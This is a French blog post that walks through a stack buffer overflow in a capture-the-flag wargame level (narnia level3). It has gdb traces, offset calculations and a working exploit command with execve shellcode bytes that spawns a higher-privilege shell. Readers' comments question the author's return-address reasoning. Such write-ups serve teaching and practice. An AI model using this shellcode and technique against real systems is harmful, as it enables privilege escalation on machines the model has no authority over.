Archives du blog

vendredi 7 janvier 2011

Stack-Based Buffer Overflow

Question faille connue on ne peut pas faire mieux je pense...
M'enfin bon comme j'ai pas grand-chose à faire en ce moment autant écrire un article dessus.
Et comme toujours article suivis d'un exemple sur un challenge présent sur une box de challenge.

Voici l'exemple (box : narnia.intruded.net) :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char * argv[]){
        char buf[128];

        if(argc == 1){
                printf("Usage: %s argument\n", argv[0]);
                exit(1);
        }
        seteuid(1004);
        strcpy(buf,argv[1]);
        printf("%s", buf);

        return 0;
}

sh-3.1$ whoami
level3

Avant de comprendre le fonctionnement de la faille, analysons la source :
On nous demande un argument qui est automatiquement copié dans un tableau de char de 128 octets.
Oui seulement voila, la fonction utilisé pour copier l'arg[1] dans le buffer  ne vérifie pas du tout la grandeur
de l'argument...Voila un buffer overflow, c'est un simple dépassement de mémoire tampon. On s'est tous tappé un jour un SEGFAULT non ?... Non ? Ah :/ .
L'exploitation est assez simple quand on en a compris le fonctionnement.

/------------------\  lower
|                  |  memory
|       Text       |  addresses
|                  |
|------------------|
|   (Initialized)  |
|        Data      |
|  (Uninitialized) |
|------------------|
|                  |
|       Stack      |  higher
|                  |  memory
\------------------/  addresses

Ce schéma ci-dessus (pompé sur le net) représente en gros la position de la pile.
Ce schéma ci-dessous (pompé sur le net) représente la position de notre buffer dans la pile.


bottom of                                                            top of
memory                                                               memory
                  buffer            sfp   ret   *str
<------          [                ][    ][    ][    ]

top of                                                            bottom of
stack                                                                 stack

Que ce passe-t-il donc quand le buffer déborde ? Ben c'est facile, il écrase à peut près tout sur son passage.
C'est à dire ? Si on contrôle ce dépassement on peut faire à peut près ce qu'on veut du programme faillible.
Bon...Je lance gdb pour vous montrer un peu à quoi ressemble un buffer qui déborde :

 level3@narnia:/wargame$ gdb -q ./level3
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x08048459 <main+85>:   add    $0x4,%eax
0x0804845c <main+88>:   mov    (%eax),%eax
0x0804845e <main+90>:   mov    %eax,0x4(%esp)
0x08048462 <main+94>:   lea    0xffffff78(%ebp),%eax
0x08048468 <main+100>:  mov    %eax,(%esp)
0x0804846b <main+103>:  call   0x804833c <strcpy@plt>  ====> BP sur strcpy
0x08048470 <main+108>:  lea    0xffffff78(%ebp),%eax      ====> BP juste après
0x08048476 <main+114>:  mov    %eax,0x4(%esp)
0x0804847a <main+118>:  movl   $0x804859c,(%esp)
0x08048481 <main+125>:  call   0x804830c <printf@plt>
0x08048486 <main+130>:  mov    $0x0,%eax
0x0804848b <main+135>:  leave
0x0804848c <main+136>:  ret
0x0804848d <main+137>:  nop
0x0804848e <main+138>:  nop
0x0804848f <main+139>:  nop
End of assembler dump.
(gdb) b*main+103
Breakpoint 1 at 0x804846b
(gdb) b*main+108
Breakpoint 2 at 0x8048470
(gdb) r `python -c "print 'a'*200"`  ====> Lancement du binaire avec 200 "a" en paramètre
Starting program: /wargame/level3 `python -c "print 'a'*200"`

Breakpoint 1, 0x0804846b in main ()
(gdb) x/10x $esp
0xbffff8e0:     0xbffff900      0xbffffb1d      0x00000001      0x00003638
0xbffff8f0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff900:     0x00000000   0x00000000

On peut voir que pour le moment le buffer est vide.
(gdb) c
Continuing.

Breakpoint 2, 0x08048470 in main ()
(gdb) x/30x $esp
0xbffff8e0:     0xbffff900      0xbffffb1d      0x00000001      0x00003638
0xbffff8f0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff900:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff910:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff920:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff930:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff940:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff950:     0x61616161      0x61616161
(gdb) c
Continuing.

Voila, le buffer dépasse, et on se choppe un beau SIGFAULT

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()

Maintenant, le but de l'exploitation va être de placer un shellcode dans le buffer
et de sauter dessus.
Durant le RET le programme va mettre le contenu du buffer au dessus de la pile dans
EIP, donc il faut écraser EIP et le saved EIP, et remplacer ces 4 octets par une adresse de retour vers notre shellcode qui sera exécuté au moment du RET.
En effet, Eip pointe vers la prochaine instruction à exécuter.
Cependant il nous faut des infos :
-la taille exacte du buffer
-l'adresse de retour
-la taille du shellcode à placer dans le buffer

On sort gdb et on fait le calcul : EBP-ESP = taille du tableau.

Breakpoint 1, 0x0804846b in main ()
(gdb) x/1x $esp
0xbffff8e0: 0xbffff900
(gdb) print $ebp
$1 = (void *) 0xbffff988
(gdb) print 0xbffff988-0xbffff900
$2 = 136

donc c'est 136 + 2 (EIP) + 2 (SEIP) soit 140

Toujours avec gdb on essaie de trouver une nouvelle adresse de retour :

(gdb) r `python -c "print 'a'*140"`
Starting program: /wargame/level3 `python -c "print 'a'*140"`

Breakpoint 1, 0x08048470 in main ()
(gdb) x/64x $esp
0xbffff920: 0xbffff940 0xbffffb59 0x00000001 0x00003638
0xbffff930: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff940: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff950: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff960: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff970: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff980: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff990: 0x61616161 0x61616161 0x61616161 0x61616161

Ben on va essayer avec 0xbffff950 qui semble bien être au début du buffer mais qui laisse un peu de marge par rapport au tout début, on peut essayer avec d'autre adresses contenues dans le buffer.
lançons nous dans l'exploitation :)

[SHELLCODE de 22 octets]+[NOPS]*140-22+[ADR RET]

level3@narnia:/wargame$ ./level3 `python -c "print '\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80'+'\x90'*(140-22)+'\x50\xf9\xff\xbf'"`
sh-3.1$ whoami
level4

Après il y'a d'autres manières de poutrer ce genres de failles, on peut placer un shellcode dans une var d'env pour pouvoir sauter dessus au moment du ret, ce qui est même mieux au final que mon exemple puisqu'on est pas limité par la taille du shellcode.

9 commentaires:

  1. Il me semble qu'il y a une erreur dans ton post :
    Tout à la fin, tu écrases l'eip avec l'adresse 0xbffff950 pour te laisser quelques bytes de marge, mais ton shellcode commence à l'adresse 0xbffff940 au début du buffer, ce qui fait que tu sautes au milieu de ton shellcode.

    Il faut donc soit mettre ton shellcode tout à la fin de ton buffer ([NOPS]*140-22+[SHELLCODE de 22 octets]+[ADR RET]), soit te laisser une vraie marge ([NOPS]*16+[SHELLCODE de 22 octets]+[NOPS]*140-22-16+[ADR RET]).
    C'est ce que j'ai dû faire en tout cas. Pourtant ta commande à l'air de fonctionner tout à la fin. Étrange...

    RépondreSupprimer
  2. Wj,

    Je confirme que en plaçant les NOP après le shellcode cela fonctionne très bien.
    Alors que cela ne devrait pourtant pas le faire...

    RépondreSupprimer
  3. En effet, je pense que le problème vient du padding à cause de gdb, pas sûr que ça soit ça mais c'est probable ;)

    RépondreSupprimer
  4. Bonjour,

    Pouvez-vous être plus explicite concernant le padding de gdb ?

    Car en essayant par exemple de sauter à l'adresse 0xbffff960 cela ne fonctionne plus du tout si on place les NOP après le shell-code.

    Vraiment étrange ce comportement.

    RépondreSupprimer
  5. l'offset du début de pile est différente quand on exécute un programme avec un débuggeur.
    lorsque l'on exécute un programme avec GDB la stack change donc souvent par rapport a l'exploitation "réelle" .
    Maintenant quand à savoir pourquoi il y'a un décalage d'adresse... Je saurais pas répondre :/

    RépondreSupprimer
  6. Oui,
    En effet l'offset est différent avec gdb.

    Je pense que la meilleur solution est de faire pointer vers l'adresse fournit en argument.
    Car l'adresse 0xbffff940 correspond à la partie qui est copié par la fonction strcpy et je suppose que celle-ci doit être dans un tas ou autre chose en mode read-only.

    Et bizarrement en faisant pointer sur 0xbffff950 et avec un code NOP après le shellcode celui-ci se retrouve par le plus grand des hasards à l'adresse 0xbffffb4e qui n'est autre que l'adresse de notre argv contenant le shellcode.

    C'est ce qui fait que si nous mettons 0xbffff950 [+-]n octect cela ne fonctionne pas (avec la méthode des NOP apres le shellcode).

    Alors que si vous tracer avec le gdb et que l'adresse de saut correspond (dans notre cas)0xbffffb60 qui est l'adresse de argv cela fonctionne parfaitement et le gdb nous redonne même la main et c'est beaucoup plus propre.

    Qu'en pensez-vous?

    RépondreSupprimer
  7. Pour ce qui est d'exploiter un programme dans le but de s'élever en privilège ça ne pourra pas fonctionner vu que gdb se lance avec les droits de l'utilisateur qui le démarre, donc même si l'exploitation se passe bien il sera impossible de s'augmenter en privilège on gardera le même uid :/

    RépondreSupprimer
  8. Donc c'est bien cela.

    Les binaires sur le server narnia sont compiler avec une pile non executable.

    readelf -lw /wargame/level3 | grep GNU_STACK
    GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4

    Et ceci confirme bien mon hypothèse sur le fait que le code rebondit par un heureux hasard sur le shell code.

    Le fait de passé par une variable d'environnement permet de limiter de toucher aux registres de la pile et ainsi le shellcode est plus facilement exploitable.

    Merci pour votre article.

    RépondreSupprimer
  9. ah oui c'est sans doute une bonne déduction =) si on suit cette logique on reste dans des challenges de "guessing" mais ça reste vraiment réaliste.

    Merci de lire mes articles ;)

    RépondreSupprimer